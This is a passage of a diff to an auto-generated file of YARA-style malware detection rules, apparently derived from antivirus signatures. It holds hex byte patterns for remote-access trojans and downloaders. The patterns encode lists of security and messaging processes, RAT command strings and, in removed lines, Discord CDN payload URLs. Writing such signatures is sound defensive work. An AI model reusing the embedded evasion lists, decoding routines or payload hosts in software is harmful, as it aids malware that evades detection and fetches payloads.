41 00 59 00 41 00 67 00 65 00 6e 00 74 00 2e 00 61 00 79 00 65 00 01 00 12 01 56 } //46 + $a_00_10 = {2e 00 65 00 78 00 65 00 01 00 0e 01 61 00 63 00 73 00 2e 00 65 00 78 00 65 00 01 00 0c 01 44 00 52 00 2e 00 57 00 45 00 42 00 01 00 14 01 53 00 50 00 49 00 44 00 65 00 72 00 2e 00 65 00 78 00 65 00 01 00 0c 01 43 00 6f 00 6d 00 6f 00 64 00 6f 00 01 00 0e 01 63 00 66 00 70 00 2e 00 65 00 78 00 65 } //118 + $a_00_12 = {73 00 65 00 63 00 65 00 73 00 73 00 2e 00 65 00 78 00 65 00 01 00 18 01 51 00 55 00 48 00 4c 00 50 00 53 00 56 00 43 00 2e 00 45 00 58 00 45 00 01 00 16 01 52 00 61 00 76 00 4d 00 6f 00 6e 00 44 00 2e 00 65 00 78 00 65 00 01 00 16 01 4b 00 76 00 4d 00 6f 00 6e 00 58 00 50 00 2e 00 65 00 78 00 65 00 01 00 22 01 62 00 61 00 69 00 64 00 75 00 53 } //109 + $a_00_14 = {72 00 61 00 79 00 2e 00 65 00 78 00 65 00 01 00 16 01 42 00 61 00 69 00 64 00 75 00 53 00 64 00 2e 00 65 00 78 00 65 00 01 00 20 01 32 00 33 00 34 00 35 00 53 00 61 00 66 00 65 00 54 00 72 00 61 00 79 00 2e 00 65 00 78 00 65 00 01 00 18 01 48 00 69 00 } //101 + $a_00_15 = {54 00 72 00 61 00 79 00 2e 00 65 00 78 00 65 00 01 00 16 01 51 00 51 00 50 00 43 00 52 00 54 00 50 00 2e 00 65 00 78 00 65 00 01 00 1a 01 4b 00 53 00 61 00 66 00 65 00 54 00 72 00 61 00 79 00 2e 00 65 00 78 00 65 00 01 00 16 01 6b 00 78 00 65 00 74 00 72 00 61 00 79 00 2e 00 65 00 78 00 65 00 01 00 12 01 33 00 36 00 30 00 73 00 64 00 2e 00 65 } //112 + $a_01_17 = {5a 00 68 00 75 00 44 00 6f 00 6e 00 67 00 46 00 61 00 6e 00 67 00 59 00 75 00 2e 00 65 00 78 00 65 00 } //1 ZhuDongFangYu.exe + $a_01_18 = {33 00 36 00 30 00 74 00 72 00 61 00 79 00 2e 00 65 00 78 00 65 00 } //1 360tray.exe + $a_01_19 = {33 00 36 00 30 00 53 00 61 00 66 00 65 00 2e 00 65 00 78 00 65 00 } //1 360Safe.exe + $a_01_20 = {57 00 78 00 57 00 6f 00 72 00 6b 00 2e 00 65 00 78 00 65 00 } //1 WxWork.exe + $a_01_21 = {57 00 65 00 43 00 68 00 61 00 74 00 2e 00 65 00 78 00 65 00 } //1 WeChat.exe + $a_01_22 = {77 00 65 00 69 00 78 00 69 00 6e 00 2e 00 65 00 78 00 65 00 } //1 weixin.exe + $a_01_23 = {54 00 65 00 6c 00 65 00 67 00 72 00 61 00 6d 00 2e 00 65 00 78 00 65 00 } //1 Telegram.exe + $a_01_24 = {44 00 69 00 6e 00 67 00 54 00 61 00 6c 00 6b 00 2e 00 65 00 78 00 65 00 } //1 DingTalk.exe + $a_01_25 = {44 00 69 00 6e 00 67 00 54 00 61 00 6c 00 6b 00 47 00 6f 00 76 00 2e 00 65 00 78 00 65 00 } //1 DingTalkGov.exe + $a_01_26 = {41 00 70 00 61 00 74 00 65 00 44 00 4e 00 53 00 } //1 ApateDNS + $a_01_27 = {4d 00 61 00 6c 00 77 00 61 00 72 00 65 00 62 00 79 00 74 00 65 00 73 00 } //1 Malwarebytes + $a_01_28 = {54 00 43 00 50 00 45 00 79 00 65 00 } //1 TCPEye + $a_01_29 = {54 00 61 00 73 00 6b 00 45 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 } //1 TaskExplorer + $a_01_30 = {43 00 75 00 72 00 72 00 50 00 6f 00 72 00 74 00 73 00 } //1 CurrPorts + $a_01_31 = {4d 00 65 00 74 00 61 00 73 00 63 00 61 00 6e 00 } //1 Metascan + $a_01_32 = {57 00 69 00 72 00 65 00 73 00 68 00 61 00 72 00 6b 00 } //1 Wireshark + $a_01_33 = {46 00 69 00 64 00 64 00 6c 00 65 00 72 00 } //1 Fiddler + $a_01_34 = {43 00 61 00 70 00 73 00 61 00 } //1 Capsa + $a_01_35 = {49 00 70 00 64 00 61 00 74 00 65 00 } //1 Ipdate + $a_01_36 = {49 00 70 00 64 00 61 00 74 00 65 00 53 00 70 00 65 00 63 00 69 00 61 00 6c 00 } //1 IpdateSpecial + $a_01_37 = {c7 45 a8 30 cc ff 56 b8 98 d3 00 00 66 89 45 ac c7 45 ae d0 11 b2 ae c7 45 b2 00 a0 c9 08 66 c7 45 b6 fa 49 4c 89 74 24 70 } //5 + $a_e2_38 = {00 04 00 04 00 1f 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 6d 52 41 54 2e 41 21 64 68 61 00 01 00 1c 03 2e 3f 41 56 4d 61 69 6c 48 74 74 70 54 72 90 01 01 6e 73 70 6f 72 74 40 40 00 90 00 01 00 1d 03 2e 3f 41 56 44 65 6c 65 74 65 41 6c 6c 4d 61 90 01 01 6c 49 6e 73 74 72 40 40 00 90 00 01 00 26 03 2e 3f 41 56 47 65 74 43 6f } //0 + $a_67_39 = {72 61 74 69 90 01 01 6e 49 6e 73 74 72 75 63 74 69 6f 6e 40 40 00 90 00 01 00 2d 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 40 56 52 65 90 01 01 64 46 69 6c 65 50 61 72 61 6d 73 40 40 40 73 74 64 40 40 00 90 00 01 00 2b 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 40 56 44 69 72 53 74 90 01 01 50 61 } //26222 + $a_73_40 = {40 40 73 74 64 40 40 00 90 00 01 00 1e 03 2e 3f 41 56 53 65 6e 64 57 6f 72 6b ?? 6e 67 4c 6f 67 49 6e 73 74 72 40 40 00 90 00 01 00 20 03 2e 3f 41 56 53 65 74 54 69 6d 65 6f 75 74 49 6e 73 74 72 ?? 63 74 69 6f 6e 40 40 00 90 00 01 00 19 03 2e 3f 41 56 53 68 65 6c 6c 45 78 ?? 63 49 6e 73 74 72 40 40 00 } //24946 + $a_03_41 = {2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 40 56 45 78 65 63 53 68 ?? 6c 6c 50 61 72 61 6d 73 40 40 40 73 74 64 40 40 00 } //1 + $a_03_42 = {2e 3f 41 56 43 72 79 70 74 65 64 43 6f 6d 6d 61 ?? 64 41 64 61 70 74 65 72 40 40 00 } //1 + $a_03_43 = {2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 43 6f 6d 6d 61 ?? 64 45 6e 67 69 6e 65 40 43 6f 6d 6d 61 6e 64 53 75 62 73 79 73 74 65 6d 40 40 40 73 74 64 40 40 00 } //1 + $a_03_44 = {2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 54 72 61 6e 73 70 6f 72 74 42 72 6f 77 ?? 65 72 49 6e 6a 65 63 74 40 40 40 73 74 64 40 40 00 } //1 + $a_03_45 = {2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 4d 61 69 6c 48 74 74 70 54 72 ?? 6e 73 70 6f 72 74 40 40 40 73 74 64 40 40 00 } //1 + $a_03_46 = {2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 53 74 ?? 72 61 67 65 49 4f 50 72 6f 76 69 64 65 72 40 53 74 6f 72 61 67 65 40 40 40 73 74 64 40 40 00 } //1 + $a_03_47 = {2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 53 74 6f 72 61 67 65 51 75 ?? 72 79 40 53 74 6f 72 61 67 65 40 40 40 73 74 64 40 40 00 } //1 + $a_03_48 = {2e 3f 41 56 50 69 70 65 43 6c 69 65 6e 74 53 65 72 76 ?? 72 49 6e 74 65 72 66 61 63 65 40 40 00 } //1 + $a_03_49 = {2e 3f 41 56 50 69 70 65 43 6c 69 65 6e 74 53 65 72 ?? 65 72 49 6d 70 6c 40 40 00 } //1 + $a_03_50 = {2e 3f 41 56 54 72 61 6e 73 70 6f 72 74 42 72 6f ?? 73 65 72 49 6e 6a 65 63 74 40 40 00 } //1 + $a_03_51 = {2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 4c 65 67 61 63 ?? 43 6f 6e 66 69 67 40 40 40 73 74 64 40 40 00 } //1 + $a_03_52 = {2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 40 56 50 69 70 65 43 6c ?? 65 6e 74 53 65 72 76 65 72 49 6e 74 65 72 66 61 63 65 40 40 40 73 74 64 40 40 00 } //1 + $a_03_53 = {2e 3f 41 56 47 6d 61 69 6c 54 72 61 6e 73 70 ?? 72 74 4d 65 64 69 61 74 6f 72 40 40 00 } //1 + $a_03_54 = {2e 3f 41 56 47 6d 61 69 6c 49 70 63 54 72 ?? 6e 73 70 6f 72 74 41 64 61 70 74 65 72 40 40 00 } //1 + $a_03_55 = {2e 3f 41 56 3f 24 5f 46 75 6e 63 5f 62 61 73 65 40 58 50 45 41 55 47 75 6d 62 6f 49 6e 74 ?? 72 6e 61 6c 4f 75 74 70 75 74 40 40 40 73 74 64 40 40 00 } //1 + $a_03_56 = {2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 47 6d 61 69 6c 49 70 63 54 72 61 6e ?? 70 6f 72 74 41 64 61 70 74 65 72 40 40 40 73 74 64 40 40 00 } //1 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_00_2 & 1)*46+(#a_00_4 & 1)*101+(#a_00_6 & 1)*66+(#a_00_8 & 1)*46+(#a_00_10 & 1)*118+(#a_00_12 & 1)*109+(#a_00_14 & 1)*101+(#a_00_15 & 1)*112+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*5+(#a_e2_38 & 1)*0+(#a_67_39 & 1)*26222+(#a_73_40 & 1)*24946+(#a_03_41 & 1)*1+(#a_03_42 & 1)*1+(#a_03_43 & 1)*1+(#a_03_44 & 1)*1+(#a_03_45 & 1)*1+(#a_03_46 & 1)*1+(#a_03_47 & 1)*1+(#a_03_48 & 1)*1+(#a_03_49 & 1)*1+(#a_03_50 & 1)*1+(#a_03_51 & 1)*1+(#a_03_52 & 1)*1+(#a_03_53 & 1)*1+(#a_03_54 & 1)*1+(#a_03_55 & 1)*1+(#a_03_56 & 1)*1) >=50 + +} +rule _InfrastructureShared_21762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 1f 00 21 " @@ -264369,7 +279823,7 @@ rule _InfrastructureShared_20538{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*27756+(#a_01_2 & 1)*25938+(#a_56_3 & 1)*16174+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1+(#a_03_25 & 1)*1+(#a_03_26 & 1)*1+(#a_e9_27 & 1)*0+(#a_6f_28 & 1)*23589+(#a_5a_29 & 1)*16762+(#a_2d_30 & 1)*31277) >=4 } -rule _InfrastructureShared_20539{ +rule _InfrastructureShared_21763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 17 00 21 " @@ -264400,7 +279854,19 @@ rule _InfrastructureShared_20539{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*12849+(#a_01_2 & 1)*-28557+(#a_00_3 & 1)*14637+(#a_53_4 & 1)*9556+(#a_61_5 & 1)*281+(#a_19_6 & 1)*1+(#a_39_7 & 1)*12378+(#a_5a_8 & 1)*16762+(#a_73_9 & 1)*23602+(#a_25_10 & 1)*16896+(#a_4f_11 & 1)*19781+(#a_74_12 & 1)*29549+(#a_09_13 & 1)*6544+(#a_2d_14 & 1)*31277+(#a_6d_16 & 1)*10752+(#a_78_17 & 1)*11877+(#a_78_18 & 1)*11826+(#a_09_19 & 1)*6544+(#a_2d_20 & 1)*31277+(#a_00_21 & 1)*2448+(#a_61_22 & 1)*281) >=5 } -rule _InfrastructureShared_20540{ +rule _InfrastructureShared_21764{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " + + strings : + $a_54_0 = {3a 53 74 65 61 6c 67 61 2e 44 53 4b 00 01 00 78 01 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 c0 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 } //18467 + $a_00_3 = {00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 00 05 00 00 10 00 00 00 60 } //0 + $a_00_8 = {00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 10 05 00 00 02 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 20 05 00 00 02 00 00 00 72 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*0+(#a_00_8 & 1)*0) >=1 + +} +rule _InfrastructureShared_21765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 29 00 21 " @@ -264442,7 +279908,7 @@ rule _InfrastructureShared_20540{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*19539+(#a_2f_3 & 1)*7424+(#a_2f_4 & 1)*30066+(#a_73_5 & 1)*29477+(#a_74_6 & 1)*25970+(#a_75_7 & 1)*12141+(#a_2e_8 & 1)*30050+(#a_24_10 & 1)*9217+(#a_72_11 & 1)*22330+(#a_00_12 & 1)*123+(#a_00_13 & 1)*57+(#a_2c_14 & 1)*9517+(#a_74_15 & 1)*26707+(#a_25_16 & 1)*29477+(#a_25_18 & 1)*6400+(#a_65_19 & 1)*30060+(#a_00_20 & 1)*115+(#a_00_21 & 1)*37+(#a_32_22 & 1)*12584+(#a_64_23 & 1)*25441+(#a_00_25 & 1)*68+(#a_00_27 & 1)*117+(#a_00_28 & 1)*67+(#a_00_29 & 1)*110+(#a_00_30 & 1)*83+(#a_00_31 & 1)*114+(#a_00_33 & 1)*119+(#a_10_34 & 1)*-32512+(#a_00_35 & 1)*48+(#a_00_36 & 1)*65+(#a_00_38 & 1)*288+(#a_00_39 & 1)*117) >=10 } -rule _InfrastructureShared_20541{ +rule _InfrastructureShared_21766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 0c 08 0c 27 00 21 " @@ -264477,7 +279943,7 @@ rule _InfrastructureShared_20541{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*75+(#a_00_3 & 1)*86+(#a_00_4 & 1)*75+(#a_00_6 & 1)*118+(#a_00_8 & 1)*83+(#a_00_9 & 1)*118+(#a_30_10 & 1)*10241+(#a_00_12 & 1)*121+(#a_00_14 & 1)*66+(#a_63_15 & 1)*4097+(#a_00_17 & 1)*83+(#a_00_19 & 1)*111+(#a_00_21 & 1)*121+(#a_00_23 & 1)*66+(#a_00_25 & 1)*122+(#a_00_27 & 1)*76+(#a_00_29 & 1)*118+(#a_00_30 & 1)*65+(#a_ff_31 & 1)*5888+(#a_00_33 & 1)*4416+(#a_11_34 & 1)*9727+(#a_25_35 & 1)*64+(#a_78_36 & 1)*18034+(#a_61_37 & 1)*30303+(#a_62_38 & 1)*24415) >=3080 } -rule _InfrastructureShared_20542{ +rule _InfrastructureShared_21767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 03 00 2e 00 21 " @@ -264525,7 +279991,7 @@ rule _InfrastructureShared_20542{ ((#a_73_0 & 1)*20515+(#a_01_1 & 1)*4340+(#a_11_2 & 1)*9727+(#a_40_3 & 1)*4133+(#a_11_4 & 1)*9727+(#a_25_5 & 1)*64+(#a_73_6 & 1)*29281+(#a_65_7 & 1)*25445+(#a_76_8 & 1)*24321+(#a_63_9 & 1)*29300+(#a_62_10 & 1)*24415+(#a_76_11 & 1)*24320+(#a_45_13 & 1)*-26623+(#a_5f_14 & 1)*25697+(#a_ff_15 & 1)*11397+(#a_44_17 & 1)*-12033+(#a_95_18 & 1)*0+(#a_00_19 & 1)*-7+(#a_00_21 & 1)*-29463+(#a_55_24 & 1)*-1792+(#a_fc_25 & 1)*-32429+(#a_55_27 & 1)*-1024+(#a_fc_28 & 1)*-32429+(#a_c7_29 & 1)*400+(#a_e5_30 & 1)*21763+(#a_54_31 & 1)*257+(#a_2f_32 & 1)*29807+(#a_90_33 & 1)*11568+(#a_4c_34 & 1)*11826+(#a_7a_35 & 1)*24841+(#a_2d_36 & 1)*23085+(#a_52_38 & 1)*21333+(#a_01_39 & 1)*-28672+(#a_90_40 & 1)*31090+(#a_09_41 & 1)*6544+(#a_2d_42 & 1)*31277+(#a_6c_43 & 1)*16748+(#a_00_44 & 1)*2448+(#a_61_45 & 1)*281) >=3 } -rule _InfrastructureShared_20543{ +rule _InfrastructureShared_21768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -264539,7 +280005,7 @@ rule _InfrastructureShared_20543{ ((#a_46_0 & 1)*16675+(#a_28_1 & 1)*-1+(#a_0b_2 & 1)*-5951+(#a_ff_4 & 1)*-1748+(#a_63_5 & 1)*-4112) >=1 } -rule _InfrastructureShared_20544{ +rule _InfrastructureShared_21769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 1f 00 21 " @@ -264563,17 +280029,82 @@ rule _InfrastructureShared_20544{ $a_2d_18 = {90 00 01 00 30 03 42 00 42 00 49 00 47 00 4e 00 4f 00 52 00 45 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 38 03 50 00 52 00 45 00 56 00 49 00 45 00 57 00 47 00 4c 00 59 00 50 00 48 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 } //23085 $a_2c_19 = {09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 36 03 44 00 4c 00 47 00 54 00 45 00 4d 00 50 00 4c 00 41 00 54 00 45 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 32 03 54 00 41 00 42 00 4f 00 55 00 54 00 42 00 4f 00 58 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 2c 03 54 00 46 00 4f 00 52 00 4d 00 31 00 90 2c 01 09 } //2 $a_41_20 = {5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 30 03 4d 00 41 00 49 00 4e 00 49 00 43 00 4f 00 4e 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 } //11568 - $a_2d_22 = {41 2d 5a 61 2d 7a 90 00 00 00 78 40 06 00 47 00 47 00 14 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c } //2305 - $a_65_23 = {61 2e 52 50 30 34 30 31 32 32 21 45 4d 4c 00 0a 00 18 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 44 00 61 00 74 00 61 00 01 00 74 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 } //21551 - $a_00_25 = {74 00 73 00 2f 00 39 00 32 00 30 00 34 00 31 00 30 00 34 00 32 00 31 00 33 00 32 00 32 00 37 00 33 00 35 00 37 00 30 00 39 00 2f 00 01 00 60 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 6a 00 73 00 2d 00 68 00 75 00 72 00 6c 00 69 00 6e 00 67 00 2e 00 63 00 6f 00 6d 00 2f 00 73 00 6a 00 69 00 6f 00 6e 00 } //101 - $a_00_26 = {43 00 6f 00 6e 00 73 00 6f 00 6c 00 65 00 41 00 70 00 70 00 32 00 2e 00 6a 00 70 00 67 00 01 00 74 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f } //102 - $a_00_28 = {2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 38 00 34 00 37 00 38 00 39 00 30 00 31 00 32 00 37 00 38 00 35 00 30 00 30 00 34 00 35 00 34 00 38 00 33 00 2f 00 01 00 74 00 68 00 74 00 74 00 70 00 73 00 3a 00 } //100 - $a_00_29 = {63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 } //47 + $a_2d_22 = {41 2d 5a 61 2d 7a 90 00 00 00 78 3d 06 00 07 00 07 00 44 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 69 65 43 72 75 73 74 2e } //2305 + $a_68_23 = {00 07 00 1c 03 0f b6 0c 00 48 8d 40 01 80 f1 0a 88 48 ff 90 03 01 01 48 49 83 90 01 01 01 75 90 00 07 00 1c 03 0f b6 0c 02 48 8d 40 01 80 f1 0a 88 48 ff 90 03 01 01 48 49 83 90 01 01 01 75 90 00 01 00 10 01 00 43 6f 6e 6e 65 63 74 53 65 72 76 65 72 20 00 01 00 0d 01 00 43 6c 69 65 6e 74 3a 3a 52 75 } //8513 + $a_00_24 = {12 } //110 + $a_6f_25 = {6e 65 63 74 65 64 20 46 61 69 6c 65 64 00 01 00 0e 01 57 72 69 74 65 20 46 69 6e 69 73 68 65 64 01 00 19 01 44 69 73 70 61 74 63 68 43 6f 6d 6d 61 6e 64 20 46 69 6e 69 73 68 65 64 20 01 00 1e 01 44 69 } //1 + $a_74_26 = {68 43 6f 6d 6d 61 6e 64 20 66 61 69 6c 65 64 20 64 65 6c 65 74 65 20 01 00 11 01 50 61 72 73 65 43 6f 6d 6d 61 6e 64 20 66 75 6e 63 01 00 14 01 43 6c 69 65 6e 74 3a 3a 50 61 72 73 65 43 6f 6d 6d 61 6e 64 01 00 0e 01 4c 6f 61 64 69 6e 67 4d 6f 64 75 6c 65 20 01 00 17 01 43 6c 69 65 6e 74 3a } //28787 + $a_73_27 = {61 74 63 68 43 6f 6d 6d 61 6e 64 01 00 10 01 00 45 78 65 63 75 74 65 4d 6f 64 75 6c 65 20 00 01 00 0f 01 66 72 65 65 20 70 6c 75 67 69 6e 20 6f 6e 65 01 00 11 01 66 72 65 65 20 70 6c 75 67 69 6e 20 63 6c 65 61 72 01 00 1c 01 44 69 73 70 61 74 63 68 43 6f 6d 6d 61 6e 64 20 55 6e 6b 6e 6f 77 6e 20 63 6d 64 20 01 00 } //17466 + $a_69_28 = {70 61 74 63 68 43 6f 6d 6d 61 6e 64 20 74 72 75 65 20 01 00 0f 01 74 63 70 43 6c 69 65 6e 74 20 43 6c 6f 73 65 01 00 14 01 20 43 6c 6f 73 65 20 66 75 6e 63 20 66 69 6e 69 73 68 65 64 01 00 0a 01 00 44 65 } //277 + $a_2e_29 = {2e 00 01 00 0f 01 00 43 6c 69 65 6e 74 3a 3a 44 65 6c 61 79 00 01 00 15 01 57 72 69 74 65 52 65 73 70 6f 6e 73 65 20 66 75 6e 63 2e 2e 2e 01 00 15 01 43 6c 69 65 6e 74 3a 3a 57 72 69 74 65 52 65 73 70 6f 6e 73 65 01 00 12 01 5f 74 63 70 43 6c 69 65 6e 74 20 6e 75 6c 6c 2e 2e 2e 01 00 0d 01 6c 6f 61 64 20 66 75 6e 63 20 2e 2e 2e 01 00 19 01 43 6c 69 65 6e 74 3a } //24940 + $a_6f_30 = {65 73 73 4c 6f 61 64 4d 6f 64 75 6c 65 01 00 09 01 00 62 61 73 65 2e 2e 2e 00 01 00 1b 01 4d 65 6d 6f 72 79 4c 6f 61 64 4c 69 62 72 61 72 79 20 46 61 69 6c 65 64 2e 2e 2e 01 00 19 01 4d 65 6d 6f 72 79 4c 6f 61 64 4c 69 62 72 61 72 79 20 73 75 63 63 2e 2e 2e 01 00 11 01 57 72 69 74 65 52 65 73 70 6f 6e 73 65 20 2e 2e 2e 01 00 15 01 57 72 69 } //20538 condition: - ((#a_46_0 & 1)*16675+(#a_41_2 & 1)*11264+(#a_2e_3 & 1)*13129+(#a_61_4 & 1)*281+(#a_19_5 & 1)*1+(#a_30_6 & 1)*11585+(#a_39_7 & 1)*12378+(#a_00_8 & 1)*14637+(#a_00_9 & 1)*14637+(#a_65_10 & 1)*811+(#a_2d_11 & 1)*2305+(#a_00_12 & 1)*144+(#a_65_13 & 1)*21251+(#a_00_15 & 1)*66+(#a_5a_16 & 1)*16697+(#a_5a_17 & 1)*16697+(#a_2d_18 & 1)*23085+(#a_2c_19 & 1)*2+(#a_41_20 & 1)*11568+(#a_2d_22 & 1)*2305+(#a_65_23 & 1)*21551+(#a_00_25 & 1)*101+(#a_00_26 & 1)*102+(#a_00_28 & 1)*100+(#a_00_29 & 1)*47) >=31 + ((#a_46_0 & 1)*16675+(#a_41_2 & 1)*11264+(#a_2e_3 & 1)*13129+(#a_61_4 & 1)*281+(#a_19_5 & 1)*1+(#a_30_6 & 1)*11585+(#a_39_7 & 1)*12378+(#a_00_8 & 1)*14637+(#a_00_9 & 1)*14637+(#a_65_10 & 1)*811+(#a_2d_11 & 1)*2305+(#a_00_12 & 1)*144+(#a_65_13 & 1)*21251+(#a_00_15 & 1)*66+(#a_5a_16 & 1)*16697+(#a_5a_17 & 1)*16697+(#a_2d_18 & 1)*23085+(#a_2c_19 & 1)*2+(#a_41_20 & 1)*11568+(#a_2d_22 & 1)*2305+(#a_68_23 & 1)*8513+(#a_00_24 & 1)*110+(#a_6f_25 & 1)*1+(#a_74_26 & 1)*28787+(#a_73_27 & 1)*17466+(#a_69_28 & 1)*277+(#a_2e_29 & 1)*24940+(#a_6f_30 & 1)*20538) >=31 } -rule _InfrastructureShared_20545{ +rule _InfrastructureShared_21770{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 44 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 69 65 43 72 75 73 74 2e 41 21 64 68 61 00 07 00 1c 03 0f b6 0c 00 48 8d 40 01 80 f1 0a 88 48 ff 90 03 01 01 48 49 83 90 01 01 01 75 90 00 07 00 1c 03 0f b6 0c 02 48 8d 40 01 80 f1 0a 88 } //16675 + $a_03_1 = {01 01 48 49 83 90 01 01 01 75 90 00 01 00 10 01 00 43 6f 6e 6e 65 63 74 53 65 72 76 65 72 20 00 01 00 0d 01 00 43 6c 69 65 6e 74 3a 3a 52 75 6e 00 01 00 12 01 00 43 6f 6e 6e 65 63 74 65 64 20 46 61 69 6c 65 64 00 01 00 0e 01 57 72 69 74 65 20 46 69 6e 69 73 68 65 64 01 00 19 01 44 69 73 70 61 74 63 68 43 6f 6d 6d 61 6e 64 20 46 69 6e 69 73 68 65 64 20 01 00 1e 01 44 69 73 70 61 74 63 68 43 6f 6d 6d 61 6e 64 20 66 61 69 6c 65 64 } //-184 + $a_6c_2 = {74 65 20 01 00 11 01 50 61 72 73 65 43 6f 6d 6d 61 6e 64 20 66 75 6e 63 01 00 14 01 43 6c 69 65 6e 74 3a 3a 50 61 72 73 65 43 6f 6d 6d 61 6e 64 01 00 0e 01 4c 6f 61 64 69 6e 67 4d 6f 64 75 6c 65 20 01 00 17 01 43 6c 69 65 6e 74 3a 3a 44 69 73 70 61 74 63 68 43 6f 6d 6d 61 6e 64 01 00 10 01 00 45 78 65 } //25632 + $a_65_3 = {6f 64 75 6c 65 20 00 01 00 0f 01 